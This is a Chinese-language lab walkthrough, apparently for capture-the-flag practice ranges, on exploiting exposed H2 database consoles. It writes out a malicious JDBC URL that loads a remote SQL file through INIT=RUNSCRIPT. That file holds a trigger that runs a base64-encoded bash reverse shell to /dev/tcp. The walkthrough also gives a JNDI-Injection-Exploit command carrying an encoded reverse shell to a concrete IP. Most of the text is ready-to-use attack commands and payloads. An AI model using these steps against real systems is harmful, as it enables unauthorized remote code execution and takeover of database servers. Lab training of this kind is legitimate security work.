两种方法:
一、采用Vulfocus 漏洞威胁分析平台在线靶场
1、未授权进入数据库(验证是否存在该漏洞)
漏洞url地址:http://ip:端口/h2-console/
jdbc:h2:mem:test1;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;\
2、反弹代码进行base64加密(IP端口为攻击机的)
3、在vps(攻击机)上创建sql文件(h2database.sql)进行反弹拿shell
CREATE TABLE test (
id INT NOT NULL
);
CREATE TRIGGER TRIG_JS BEFORE INSERT ON TEST AS '//javascript
Java.type("java.lang.Runtime").getRuntime().exec("bash -c {echo,base64加密的反弹shell代码}|{base64,-d}|{bash,-i}");';
#反弹代码示例:bash -i >& /dev/tcp/ip/端口 0>&1
4、使用python开启文件下载服务
5、攻击机开启nc监听
6、远程请求h2database.sql文件实现shell反弹
jdbc:h2:mem:test1;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://IP:端口/h2database.sql';\
7、查找flag
二、H2database jndi注入攻击拿shell
漏洞url地址:http://ip:端口/h2-console/
使用vulhub靶场本地搭建在:可参考这位师傅文章:手把手搭建Vulhub靶场 - Nem0o0 - 博客园
工具地址:Release JNDI-Injection-Exploit v1.0 · welk1n/JNDI-Injection-Exploit
1、在攻击机启动反弹命令及开启nc监听
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,L2Jpbi9zaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMuNDcvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}" -A 攻击IP
反弹shell命令要base64编码
/bin/sh -i >& /dev/tcp/192.168.3.47/6666 0>&1
2指定驱动类及将生成的指令进行提交反弹shell(如果反弹不回来那就换端口,重启靶机)